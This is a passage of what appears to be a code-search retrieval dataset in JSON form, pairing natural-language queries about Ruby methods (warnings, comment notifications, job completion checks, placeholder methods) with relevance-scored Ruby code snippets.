"ffadc65499bf4f9a9dab033ecafd8d8f", "score": "0.5689104", "text": "def warn(text = '')\n err.puts text\n end", "title": "" }, { "docid": "c785a806fa3a3458d0f56a009b74c314", "score": "0.5688945", "text": "def warn(message)\n # returns nil\n throw NotImplementedError\n end", "title": "" }, { "docid": "8b288083754cf12465e2fc8abcd86f0b", "score": "0.56885934", "text": "def fail!(msg)\n @fail_message = msg\n @soft = false\n end", "title": "" }, { "docid": "f5dadaca91ae832c31c81bc248e6c002", "score": "0.56845534", "text": "def note!(protocol_code, internal_message, public_message=nil)\n log \"NOTE: #{internal_message}\"\n send TPProto::Fail.new( protocol_code, public_message || internal_message ) if protocol_code\n end", "title": "" }, { "docid": "6ebe20966b2cddae0de5e1a35acac1e7", "score": "0.567661", "text": "def notice=(message); end", "title": "" }, { "docid": "6ebe20966b2cddae0de5e1a35acac1e7", "score": "0.567661", "text": "def notice=(message); end", "title": "" }, { "docid": "5ea218e2a77fb5e5e627490476ad113f", "score": "0.5674842", "text": "def losers_comments\r\n \"#{name} says 'I lost to the lunatic fringe!'\"\r\n end", "title": "" }, { "docid": "4017dcdebc70238306d7d6ce3ab50a33", "score": "0.56714517", "text": "def handle_bad_comment_content(other_comment, content)\n other_comment.content = content\n end", "title": "" }, { "docid": "076f7d7a1126fbeface236eeae1b8b0a", "score": "0.566986", "text": "def warning(message)\n Noop::Utils.warning message\n end", "title": "" }, { "docid": "cf2c5246928f3fd46d6c6a57d022179e", "score": "0.5667871", "text": "def comment_notification(user, other, comment)\n @user = user\n @other = other\n @comment = comment\n name = other.nil? ? \"A guest user\" : other.name\n mail(:to => user.email, :subject => \"#{name} replied to your comment on Ensemble\")\n end", "title": "" }, { "docid": "a073a1d915b26de21ee9c3b5f05d3bec", "score": "0.56649387", "text": "def comment_notification(comment, water_point, follower)\n setup_email(comment, water_point, follower)\n @subject += I18n.t 'mailer.comment_notify.subject'\n\n \n @body[:url] = \"http://www.dripplet.com/#{@locale}/water_points/#{water_point.id}\"\n \n end", "title": "" }, { "docid": "28e67653a230fe7fae147918f176f71a", "score": "0.566393", "text": "def warn(_jid, *_params)\n Rails.logger.warn \"Called default #warn for #{self.class}\"\n end", "title": "" }, { "docid": "018bcd71a8353989eb6c286e50295c76", "score": "0.5661816", "text": "def comment string\n end", "title": "" }, { "docid": "1a7b07f5db8960eadc3eec8e5f261e21", "score": "0.5660113", "text": "def checkComment\n msg=nil\n @logger.debug(\"CommentChecker Comment=>\"+@comment)\n if @comment!='added' && @comment!='removed'\n words=@comment.split(\" \")\n if words.size<2\n msg=\"Please include a meaningful comment. Commit will not proceed, you need to recommit.\"\n end\n end\n msg\n end", "title": "" }, { "docid": "84df0f97a57236346d2f55df5dc24005", "score": "0.56528866", "text": "def update_comment(repo, number, comment, options = {})\n patch \"#{Repository.path repo}/issues/comments/#{number}\", options.merge({:body => comment})\n end", "title": "" } ]
b19f62d8d9157fa4f53b9b8b8e1eccc0
Returns true if the current job is completed by this user.
[ { "docid": "5649687191473a399b2dd106de3ed5dc", "score": "0.7199794", "text": "def completed_by_user?(user)\n completing_interpreters.include?(user)\n end", "title": "" } ]
[ { "docid": "0fda9df0cb42113ed397bd2b7c5be63a", "score": "0.82533103", "text": "def completed?\n job_completed?\n end", "title": "" }, { "docid": "36e831845e4775c2a486a7e3ccd0d85d", "score": "0.77214664", "text": "def completed?\n self.status == STATUS_COMPLETED\n end", "title": "" }, { "docid": "017894f3280580d2f2fdfe3cabaa3c81", "score": "0.7507984", "text": "def completed?\n @__status == TaskStatus::COMPLETED\n end", "title": "" }, { "docid": "7217e800fae7e642116666d58b689798", "score": "0.7463872", "text": "def completed?\n status.completed?\n end", "title": "" }, { "docid": "65198a62071d93f6fad1b60a07d2c97f", "score": "0.7412351", "text": "def complete?\n @gapi.job_complete\n end", "title": "" }, { "docid": "4b3d5ec8b4465d052780f00ace7f2ad6", "score": "0.73975444", "text": "def completed?\n @completed\n end", "title": "" }, { "docid": "0de06166e6fa2cf29db67690b58786bc", "score": "0.7389798", "text": "def completed?\n @completed\n end", "title": "" }, { "docid": "71f3cfe2477d54fc72bf956229071abb", "score": "0.73378754", "text": "def completed?\n return @complete\n end", "title": "" }, { "docid": "71f3cfe2477d54fc72bf956229071abb", "score": "0.73378754", "text": "def completed?\n return @complete\n end", "title": "" }, { "docid": "d2854f1552e77f42092c978056f9136e", "score": "0.7316068", "text": "def complete?\n case @status\n when 'new', 'voting', 'running'\n false\n when 'complete'\n true\n else\n fail Exceptions::PushJobError, @job\n end\n end", "title": "" }, { "docid": "69b26f5dee19c827322e660d59c1094e", "score": "0.7258419", "text": "def finished?\n finished_at.present? && retried_good_job_id.nil?\n end", "title": "" }, { "docid": "40608b36cc2bf2077324b51333d33178", "score": "0.7241937", "text": "def completed_by_user?(user)\n @tasks_completed = CompletedTask.all\n @tasks_completed.each do |completed|\n if (user.id == completed.user_id && self.id == completed.task_id)\n return true\n end\n end\n end", "title": "" }, { "docid": "61f9785a973a6c30078b14fd4d97c576", "score": "0.7236878", "text": "def completed?\n\t\t\treturn request_status == REQUEST_STATUS['completed']\n\t\tend", "title": "" }, { "docid": "886ef4bd81c9f87de36766d045db77d4", "score": "0.723163", "text": "def finished?\n @__status == TaskStatus::COMPLETED ||\n @__status == TaskStatus::FAULTED ||\n @__status == TaskStatus::CANCELED\n end", "title": "" }, { "docid": "d2987f6f8489cf8658a3bb7eb2ef5490", "score": "0.72159666", "text": "def is_finished\n\t\tif self.completed_at \n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend", "title": "" }, { "docid": "2d43cd650c0e30967be34710454e99a5", "score": "0.7192609", "text": "def completed?\n return true unless @state == PENDING_STATE\n @lock.lock\n begin\n @state != PENDING_STATE\n ensure\n @lock.unlock\n end\n end", "title": "" }, { "docid": "e654d417695731df8d39e3c7cad45003", "score": "0.7164795", "text": "def check_if_completed(user)\n\n \tlogger.info(\"Checking completion for workout \" + id.to_s + \" by user \" + user.name.to_s)\n\n \tif complete?(user) # If a CompletedWorkout exists already, no further action\n \t\tlogger.info(\"Already completed\")\n \t\treturn false\n elsif self.workout_exercises.map {|we| we.complete?(user)}.reduce {|x,y| x && y} # Check if all exercises are complete (e.g. all return true)\n \t\tlogger.info(\"Completed! Creating new CompletedWorkout\")\n \t\tCompletedWorkout.create!(:user => user, :workout => self, :complete_time => Time.current)\n \t\treturn true\n else\n\t \tlogger.info(\"Not yet completed\")\n\t \treturn false\n \tend\n end", "title": "" }, { "docid": "254b5c8dd4af24a28cb70fd93a232132", "score": "0.7149718", "text": "def completed?\n !self.shift_jobs.empty?\n end", "title": "" }, { "docid": "9eb6c5febee72ca4216bc412a4c069d0", "score": "0.71492654", "text": "def completed?\n return @completed\n end", "title": "" }, { "docid": "427b72fff6b5b01579ed8f7d837d060b", "score": "0.71120334", "text": "def completed?\n !!completed\n end", "title": "" }, { "docid": "9daa2973fbdfda93ac5c2d6d800bf413", "score": "0.70918316", "text": "def completed?\n completed == '1'\n end", "title": "" }, { "docid": "26071ca91b7312c452e6ee60c4502ccb", "score": "0.7048141", "text": "def complete?\n status == \"Completed\"\n end", "title": "" }, { "docid": "ae7d1b060d198cf4fdc9cd92da877b38", "score": "0.7039924", "text": "def isCompleted\r\n\t\t\t\t\treturn @completed\r\n\t\t\t\tend", "title": "" }, { "docid": "ae7d1b060d198cf4fdc9cd92da877b38", "score": "0.7039924", "text": "def isCompleted\r\n\t\t\t\t\treturn @completed\r\n\t\t\t\tend", "title": "" }, { "docid": "44b008a0485fc1e394cca47f93c059d8", "score": "0.7034314", "text": "def completed_coi?(current_user = nil)\n user = current_user || self.corresponding_author\n\n coi = latest_manuscript_coi_form_by_user_id(user.id)\n if coi and coi.committed\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "3a1657e58eb595da9e4db9cbe1976b76", "score": "0.70199883", "text": "def job_completed?(id)\n job_started?(id) &&\n (job_passed?(id) || job_failed?(id))\n end", "title": "" }, { "docid": "e0cc61f7cf751177cd5a86348b57d4d7", "score": "0.70186555", "text": "def completed?\n @completed\n end", "title": "" }, { "docid": "e0cc61f7cf751177cd5a86348b57d4d7", "score": "0.70186555", "text": "def completed?\n @completed\n end", "title": "" }, { "docid": "3859a7f9b684d5febf2d978641bfe59e", "score": "0.69904363", "text": "def complete?\n finished? || cancelled? || failed? || job_failed? || timeout?\n end", "title": "" }, { "docid": "2ac1b7f6a8dae171d9de5b4250d3daf4", "score": "0.69876325", "text": "def finished?\n FINAL_STATUSES.include?(transaction_status) || status == COMPLETED\n end", "title": "" }, { "docid": "19a16250aae644b7f877ceaf20317fb2", "score": "0.69865763", "text": "def finished?\n if self.status == self.statuses[\"Finished\"]\n return true\n end\n return false\n end", "title": "" }, { "docid": "6668cb1522ba395f5f511a301107127c", "score": "0.6984466", "text": "def completed?\n attributes['percentDone'] >= 1\n end", "title": "" }, { "docid": "2a9c190e02aff5d453d2a066cd201cad", "score": "0.6972164", "text": "def completed?\n completed\n end", "title": "" }, { "docid": "1c6b8b4b4f37bed2de92c1ddfdce99e0", "score": "0.6942833", "text": "def completed?\n\t\t@completed\n\tend", "title": "" }, { "docid": "2f2fc823e6e9680efb12c402d66f4a35", "score": "0.694157", "text": "def completed?\n \t\tlatest_transaction.completed? unless transactions.empty?\n \tend", "title": "" }, { "docid": "fbefb18be06a6db09d4a1a75b8ff730c", "score": "0.6929489", "text": "def completed?\n @state.to_s =~ /finished|aborted|failed/\n end", "title": "" }, { "docid": "ccd8ec8eca83164d62b6ebe19fbdc0b3", "score": "0.69182384", "text": "def completed?\n @progress != 'PENDING'\n end", "title": "" }, { "docid": "a45714d60e9a3fe89090fe3cab88426d", "score": "0.6914008", "text": "def completed?\n self.is_completed\n end", "title": "" }, { "docid": "042213effce63833c1d721c33ea3160e", "score": "0.69025975", "text": "def finished?\n lock.value != 1 && queued_jobs.size.zero? && indegree.size.zero?\n end", "title": "" }, { "docid": "40e3bdc47443b0a99eedd1b362a77584", "score": "0.6899337", "text": "def job_ended?\n FINAL_JOB_TASK_STATUSES.include?(@task_status)\n end", "title": "" }, { "docid": "e07c8abe131220fdc47ab487d9fbf86b", "score": "0.68855834", "text": "def complete?\r\n @is_complete\r\n end", "title": "" }, { "docid": "3af3d3f5a6bfe302a9ada326b26e9569", "score": "0.687136", "text": "def in_progress? current_user_id\n todo_completes.active.map(&:submitter_id).include?(current_user_id) ? true : false\n end", "title": "" }, { "docid": "47abdf34e60cddcb8d3aadbc10f295e5", "score": "0.68623257", "text": "def completed?\n if self.completed == true\n true\n end\n\n if( self.user_quiz_answers.count == self.quiz.quiz_phases.collect{ |p| p.quiz_questions }.size )\n self.completed = true\n true\n else\n false\n end\n end", "title": "" }, { "docid": "0de89fde363703e023de7dee41d25a2b", "score": "0.68353724", "text": "def finished?\n @status[:description] == :finished\n end", "title": "" }, { "docid": "a295f12ba49ea15263e994ed40364905", "score": "0.6822365", "text": "def temp_work_complete?\n user.id == @task_work_offer.task.user.id\n end", "title": "" }, { "docid": "9877e590d58e39e6d315f0d7e7932e2a", "score": "0.6806352", "text": "def check_for_job_completion\n self.job.check_for_completion if complete?\n end", "title": "" }, { "docid": "0a8ba3cc6e10975b6a1b087b932bb205", "score": "0.68055546", "text": "def completed?\n !self.finished_at.nil?\n end", "title": "" }, { "docid": "b07a01895e1589bb325b66415072b5be", "score": "0.67959815", "text": "def finished?\n attributes['isFinished']\n end", "title": "" }, { "docid": "95f03102707474faa9d45073844f2216", "score": "0.6762386", "text": "def complete?\n @complete\n end", "title": "" }, { "docid": "44afc6f222ddff824dcc6881048816b0", "score": "0.67605406", "text": "def finished?\n return false unless self.started?\n return true if self.finished\n return ( self.finished_at.time <= Time.now )\n end", "title": "" }, { "docid": "44afc6f222ddff824dcc6881048816b0", "score": "0.67605406", "text": "def finished?\n return false unless self.started?\n return true if self.finished\n return ( self.finished_at.time <= Time.now )\n end", "title": "" }, { "docid": "ac8f292568b8f1d27fed3c7a5c808b86", "score": "0.6752958", "text": "def complete?\n completed_at && response\n end", "title": "" }, { "docid": "f0426c834e65ba3bf4787e90852ce380", "score": "0.67528254", "text": "def completed?\n COMPLETED_STATES.include?(status)\n end", "title": "" }, { "docid": "9e624648ff375226530b1d0ecf101567", "score": "0.6749055", "text": "def finished?\n\t\tfinished_on.present?\n\tend", "title": "" }, { "docid": "9e624648ff375226530b1d0ecf101567", "score": "0.6749055", "text": "def finished?\n\t\tfinished_on.present?\n\tend", "title": "" }, { "docid": "492b18a1a11b4351e2d3013c8caa0de2", "score": "0.67408067", "text": "def completed?\n !completed_at.blank?\n end", "title": "" }, { "docid": "d5b62409e3d8773beccdc1d85e4d5c5d", "score": "0.6733362", "text": "def job_status_processed?\n if self.has_interpreter_assigned? && self.invoice_submitted? && self.completed?\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "11f19c9a40fad6884f2783a810365a86", "score": "0.67228097", "text": "def complete?\n @complete\n end", "title": "" }, { "docid": "d72078bd5c793192037fb15c1775728b", "score": "0.6674693", "text": "def finished?\n\t\t\tif @finished.nil? then\n\t\t\t\tfalse\n\t\t\telse\n\t\t\t\t@finished\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "045a78093ba3e0bf3ff5b1bca54748ca", "score": "0.66655475", "text": "def finished?\n self.completed? || self.failed?\n end", "title": "" }, { "docid": "55d5327ebf9f75c8cc6d73aacc0de7e3", "score": "0.6656181", "text": "def completed?\n self.state == :completed\n end", "title": "" }, { "docid": "ff97565e1186663ca0a76a88fe995235", "score": "0.6647155", "text": "def became_completed?\n completed_changed? && completed\n end", "title": "" }, { "docid": "bbb6300172ba9286b15119bbdbf9e6fa", "score": "0.6642084", "text": "def completed_user?(user)\n \n incomplete = false;\n self.design_checks.each do | dsn_chk |\n section = dsn_chk.check.section\n if ( self.is_self_audit? && dsn_chk.designer_result == \"None\" )\n auditor = self.audit_teammates.detect { |tmate| \n tmate.section_id == section.id && tmate.self? }\n elsif ( self.is_peer_audit? && dsn_chk.auditor_result == \"None\" )\n auditor = self.audit_teammates.detect { |tmate| \n tmate.section_id == section.id && !tmate.self? }\n end\n if auditor.id == @logged_in_user.id \n incomplete = true\n end\n end\n ! incomplete\n \n end", "title": "" }, { "docid": "671ed8f283b15cd49789e6ee79bdb96b", "score": "0.66420656", "text": "def finished?\n FINISHED_STATUSES.include? status or tasks_are_finished?\n end", "title": "" }, { "docid": "28f3c2a97583a43b5c6600b9c091d0a4", "score": "0.6618307", "text": "def completed?\n completed_at ? true : false\n end", "title": "" }, { "docid": "28f3c2a97583a43b5c6600b9c091d0a4", "score": "0.6618307", "text": "def completed?\n completed_at ? true : false\n end", "title": "" }, { "docid": "1fa84d722af9265884094858440f589e", "score": "0.6585402", "text": "def complete?\n\tstatus == \"Completed\"\n end", "title": "" }, { "docid": "4c1bb23488eb990e20489cb5f2d82f7e", "score": "0.6584203", "text": "def complete?\n return state == \"complete\"\n end", "title": "" }, { "docid": "9fb15f39f11adf54dfae5aa7b86c38b6", "score": "0.65830517", "text": "def finished?\n\t\tif @finished.nil? then\n\t\t\tfalse\n\t\telse\n\t\t\t@finished\n\t\tend\n\tend", "title": "" }, { "docid": "18208db25b710f39b3270bc680ba9e92", "score": "0.6573083", "text": "def is_complete?\n return ApprovalState::COMPLETED_STATES.include? self.status.to_i\n end", "title": "" }, { "docid": "9a6d239bb7281a9d44d656906adc6fda", "score": "0.6555837", "text": "def finished?\n self.status == STATUS_FINISHED\n end", "title": "" }, { "docid": "bf8d50dae29e0c8c321cf870c2e0179d", "score": "0.6550051", "text": "def completed?\n user.likes_count >= self.class.config.likes_needed_for_completion\n end", "title": "" }, { "docid": "dc6c298236ed134357b7f1ef927903ee", "score": "0.65411896", "text": "def completed?\n contact_completed? && company_completed? && finance_completed?\n end", "title": "" }, { "docid": "1b9e89d32667446a181b4d6b6323287d", "score": "0.65410113", "text": "def job_status_awaiting_invoice?\n if self.has_interpreter_assigned? && !self.invoice_submitted? && self.completed?\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "44074bab85d6f571c8a0d5b63912faf4", "score": "0.6539185", "text": "def complete?\n status == \"verified\"\n end", "title": "" }, { "docid": "1513eefab46fb8cd34af4cafbd96ae6b", "score": "0.65158784", "text": "def completed?\n !@time_started.nil? && !@time_completed.nil?\n end", "title": "" }, { "docid": "c63facbc3a31e81eecd5183fe0894012", "score": "0.6514225", "text": "def completed?\n self.status_sym == :completed\n end", "title": "" }, { "docid": "05a96195a44253bdac2256cd2cfd31d9", "score": "0.6512001", "text": "def instructor_has_completed_orientation?\n return true if Features.disable_onboarding?\n TrainingModulesUsers\n .where(training_module_id: ORIENTATION_ID)\n .where(user_id: current_user.id)\n .where.not(completed_at: nil).any?\n end", "title": "" }, { "docid": "2cfda0cc85a6b60f2f3fd0dd3fff1ada", "score": "0.6509969", "text": "def incomplete?\r\n job_status != JobStatus::COMPLETED\r\n end", "title": "" }, { "docid": "01c1341eaf9cdde6411fd002e625b546", "score": "0.648666", "text": "def finished?\n self.status == 'finished'\n end", "title": "" }, { "docid": "01c1341eaf9cdde6411fd002e625b546", "score": "0.648666", "text": "def finished?\n self.status == 'finished'\n end", "title": "" }, { "docid": "95f3f2c0e61cc9749a30aa0422081985", "score": "0.6484682", "text": "def completed?\n self.completed_at.present?\n end", "title": "" }, { "docid": "61ccb6ac1d26027768f65fc436bcf221", "score": "0.64770967", "text": "def is_experiment_completed?(experiment) # rubocop:todo Naming/PredicateName\n !!VanityExperiment.retrieve(experiment).completed_at\n end", "title": "" }, { "docid": "7eb227f91ee022b74fed00df4925f6fa", "score": "0.6475339", "text": "def finished?\n @finished\n end", "title": "" }, { "docid": "7eb227f91ee022b74fed00df4925f6fa", "score": "0.6475339", "text": "def finished?\n @finished\n end", "title": "" }, { "docid": "7eb227f91ee022b74fed00df4925f6fa", "score": "0.6475339", "text": "def finished?\n @finished\n end", "title": "" }, { "docid": "7eb227f91ee022b74fed00df4925f6fa", "score": "0.6475339", "text": "def finished?\n @finished\n end", "title": "" }, { "docid": "ebdb43ee664437a212dbcc8cf55bc25d", "score": "0.64650494", "text": "def complete?(user)\n self.attendances.find_by_user_id(user).complete\n end", "title": "" }, { "docid": "0766b78b3bfcfbb6206c17c436a0789e", "score": "0.64611804", "text": "def is_done?\n return self.status == Erp::QuickOrders::Order::STATUS_DONE\n end", "title": "" }, { "docid": "2d38b0dcb5f5df510d14faf57b6aaa31", "score": "0.6455965", "text": "def complete?\n true\n end", "title": "" }, { "docid": "a9e413987bdb2c0dc3bd10dcca807e6e", "score": "0.6431871", "text": "def finished?\n true unless self.finished_on.nil?\n end", "title": "" }, { "docid": "5d6cdd2f9239f47e728d0b99ec93ea81", "score": "0.6419177", "text": "def completed? # Is task completed? method\n completed_status # True or false\n end", "title": "" }, { "docid": "f0e5be76d52b33b5579e227aee965fcf", "score": "0.64167017", "text": "def executing_job?\n @executing_job == true\n end", "title": "" }, { "docid": "ea25ca9b453ed9cf3ce1e62c3764adc0", "score": "0.6415911", "text": "def completed?\n \tcompleted_at?\n end", "title": "" }, { "docid": "1ff96d2aea20b00cc95c061b94870b02", "score": "0.64149666", "text": "def completed?\n @step == @total_steps\n end", "title": "" }, { "docid": "e9febd4a9a52ca9f3adf042ac94ae3a6", "score": "0.6405087", "text": "def complete?\n xml = @client.get_request(\"/services/search/jobs/#{@sid}\")\n doc = Nokogiri::XML(xml)\n text = doc.xpath(\"//s:key[@name='isDone']\").text\n text.to_i == 1\n end", "title": "" }, { "docid": "0da7330f1cd693bf28d4e16d942866a7", "score": "0.6390425", "text": "def complete?\n self.complete\n end", "title": "" }, { "docid": "ea124d56cb4e22a875cf6a7de8b4dbd2", "score": "0.63860375", "text": "def complete?\n pending == failures && (child_count == 0 || child_count == @completed)\n end", "title": "" }, { "docid": "00c3c36d7c59639dcea3ec9f12fab959", "score": "0.637758", "text": "def successful?\n @progress == 'COMPLETED'\n end", "title": "" }, { "docid": "471407ef3ec16546f879cd5fc49e1aef", "score": "0.6377289", "text": "def complete?\n true\n end", "title": "" } ]
8ee72d229c693cf4eee1622fa3dedebc
method with no parameter pasrsed
[ { "docid": "7c83b40799d1fb7bee0cc823af316f7b", "score": "0.0", "text": "def helloWorld\n puts \"hello world\"\nend", "title": "" } ]
[ { "docid": "8a0745994786cb3bb4db076439d4882a", "score": "0.775373", "text": "def method(arg0)\n end", "title": "" }, { "docid": "8a0745994786cb3bb4db076439d4882a", "score": "0.775373", "text": "def method(arg0)\n end", "title": "" }, { "docid": "6913f6b705277ca3809f0b17a7aacfaf", "score": "0.741134", "text": "def nothing(param1)\n end", "title": "" }, { "docid": "3fb76bd4a9e49710a21c61ea173296a8", "score": "0.7254232", "text": "def method(param1, options = {})\n\tend", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "22eca42bc8ffb4cb933fefb36966d859", "score": "0.7075597", "text": "def call; end", "title": "" }, { "docid": "b3f6bcf9d54b4bcb66185d3012f582a9", "score": "0.7023196", "text": "def call(*) end", "title": "" }, { "docid": "b3f6bcf9d54b4bcb66185d3012f582a9", "score": "0.7023196", "text": "def call(*) end", "title": "" }, { "docid": "a31be09ed9d6f7f0508ed52aaa537290", "score": "0.69947696", "text": "def meth(\n **\n ); end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "20898baa64ab5fd26066acd36fb4bbbd", "score": "0.69237494", "text": "def method; end", "title": "" }, { "docid": "1a06a82b192ab1301c15c1f5243d9df7", "score": "0.691662", "text": "def method=(_arg0); end", "title": "" }, { "docid": "1a06a82b192ab1301c15c1f5243d9df7", "score": "0.691662", "text": "def method=(_arg0); end", "title": "" }, { "docid": "1a06a82b192ab1301c15c1f5243d9df7", "score": "0.691662", "text": "def method=(_arg0); end", "title": "" }, { "docid": "ed338e69efb2ef1da5ab0b8c88038cdb", "score": "0.68863755", "text": "def meth(arg1)\nend", "title": "" }, { "docid": "806a60a542bec5f6609cfd001b5e4bdb", "score": "0.6862507", "text": "def call(*args); end", "title": "" }, { "docid": "64f6b6e9632e9345d78bbae8c48bbe6e", "score": "0.681664", "text": "def meth(*args)\n\n\n\nend", "title": "" }, { "docid": "adc143d9921490a32ce81e2ec1b81602", "score": "0.680587", "text": "def invoke; end", "title": "" }, { "docid": "1dc9b56de69a8f4083dc2a5c43e54976", "score": "0.6790308", "text": "def a_method(arg1, arg2='default value')\n do_stuff\n end", "title": "" }, { "docid": "014271c2f9bbbf446c9520a69e586e97", "score": "0.67876375", "text": "def call(*)\n raise NotImplementedError\n end", "title": "" }, { "docid": "854b7a41064c95d5b6449950f426f53c", "score": "0.6784603", "text": "def mah_method!(method_param)\nend", "title": "" }, { "docid": "4fc848bc851b85c0155842e2c413fc41", "score": "0.6780539", "text": "def call() end", "title": "" }, { "docid": "ab5d0e8b1574ea1ff4e1283134c23ea3", "score": "0.67497784", "text": "def call( *args )\n raise NotImplementedError\n end", "title": "" }, { "docid": "ff998ac155d0da883c8b7b6237b1b8fd", "score": "0.6716348", "text": "def meth(arg1,arg2)\nend", "title": "" }, { "docid": "ff998ac155d0da883c8b7b6237b1b8fd", "score": "0.6716348", "text": "def meth(arg1,arg2)\nend", "title": "" }, { "docid": "e43764561c590cb2d9e76fc0c266fe29", "score": "0.66844475", "text": "def one_parameter_method (argument=\"nothing\")\n return argument\nend", "title": "" }, { "docid": "e43431f54888f51c54d7332c18a1e93f", "score": "0.6683109", "text": "def meth(\n\n\n\n *args)\n\nend", "title": "" }, { "docid": "d4a7416051a60e692c58d5989ff05f89", "score": "0.6677091", "text": "def method(p0) end", "title": "" }, { "docid": "50f67eb8b84493445e5c6ba65a631fe8", "score": "0.666028", "text": "def foo(param = \"no\")\r\n \"yes\"\r\nend", "title": "" }, { "docid": "8a391425187ceff6461e558601ca3c06", "score": "0.66011786", "text": "def method_one; end", "title": "" }, { "docid": "28047cf7a656cd5043696e60d151a854", "score": "0.65841055", "text": "def method(a, *b)\r\n\tb\r\nend", "title": "" }, { "docid": "78cda9762ae33548e20f3172c31a8769", "score": "0.6568774", "text": "def method_one\n end", "title": "" }, { "docid": "78cda9762ae33548e20f3172c31a8769", "score": "0.6568774", "text": "def method_one\n end", "title": "" }, { "docid": "80d8f3c1048c92e53ae143bedd8593fc", "score": "0.6567405", "text": "def args(*) end", "title": "" }, { "docid": "d83c2ab4913eda0032179a7d25bca31b", "score": "0.6561284", "text": "def meth(\n # this is important\n arg)\nend", "title": "" }, { "docid": "4012b6510793458832e658eba8f056b6", "score": "0.6554505", "text": "def meth **options\nend", "title": "" }, { "docid": "4012b6510793458832e658eba8f056b6", "score": "0.6554505", "text": "def meth **options\nend", "title": "" }, { "docid": "6199333fb432af38c8abaadcbc60a77e", "score": "0.65471286", "text": "def call\n\n\tend", "title": "" }, { "docid": "6199333fb432af38c8abaadcbc60a77e", "score": "0.65471286", "text": "def call\n\n\tend", "title": "" }, { "docid": "a39eea7f6bd6c3867027f3f246c68491", "score": "0.65411055", "text": "def dispatch(*_arg0); end", "title": "" }, { "docid": "641306dd48255a751ad56bd1d0ba3a3a", "score": "0.651449", "text": "def method (a=3, b=4)\r\nend", "title": "" }, { "docid": "aed4df5bc3b6567fec5f812d1ab30aba", "score": "0.6494951", "text": "def foo(arg); end", "title": "" }, { "docid": "e9a8b35a0390f191203c5dc36a2ada87", "score": "0.64848715", "text": "def perform(*args); end", "title": "" }, { "docid": "0ed5036e40dc2ffbabaa5175a4fecb06", "score": "0.6482917", "text": "def stest_method_1(test); end", "title": "" }, { "docid": "c9f1af465866d59613fd9e2e2442c2f0", "score": "0.6481761", "text": "def param; end", "title": "" }, { "docid": "c9f1af465866d59613fd9e2e2442c2f0", "score": "0.6481761", "text": "def param; end", "title": "" }, { "docid": "1f91f380211b4495b828cbddf85898c3", "score": "0.6480686", "text": "def method_name=(_arg0); end", "title": "" }, { "docid": "1f91f380211b4495b828cbddf85898c3", "score": "0.6480686", "text": "def method_name=(_arg0); end", "title": "" }, { "docid": "410acce3aabbb7b9adf35f889c493a83", "score": "0.6464299", "text": "def method\r\nend", "title": "" }, { "docid": "d07c5963014bbc72e5e7d6361ff5620e", "score": "0.64640576", "text": "def meth( x = nil)\nend", "title": "" }, { "docid": "4cb96e7400284847c384525647400eb5", "score": "0.64508635", "text": "def arg; end", "title": "" }, { "docid": "545dae2ed056f3c5a59b632e7430aac1", "score": "0.64432836", "text": "def do_something(param1, param2, param3)\n \nend", "title": "" }, { "docid": "1ad5c1bde48a1ec53411536a207d3d7d", "score": "0.64413494", "text": "def method ( a ,b ,c ) \nend", "title": "" }, { "docid": "19b031aae8fdf0e6c3acff7bd60d31d0", "score": "0.64410216", "text": "def call\n end", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": "0.6437199", "text": "def foo(param = \"no\")\n \"yes\"\nend", "title": "" }, { "docid": "1b648760d7ae3b97baefcd009617703c", "score": 